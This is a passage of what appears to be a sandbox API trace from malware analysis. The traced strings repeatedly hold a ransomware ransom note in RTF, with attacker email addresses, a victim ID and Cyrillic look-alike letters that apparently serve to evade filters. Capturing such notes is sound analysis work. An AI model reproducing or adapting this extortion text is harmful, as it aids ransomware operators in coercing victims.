d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0041.896] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 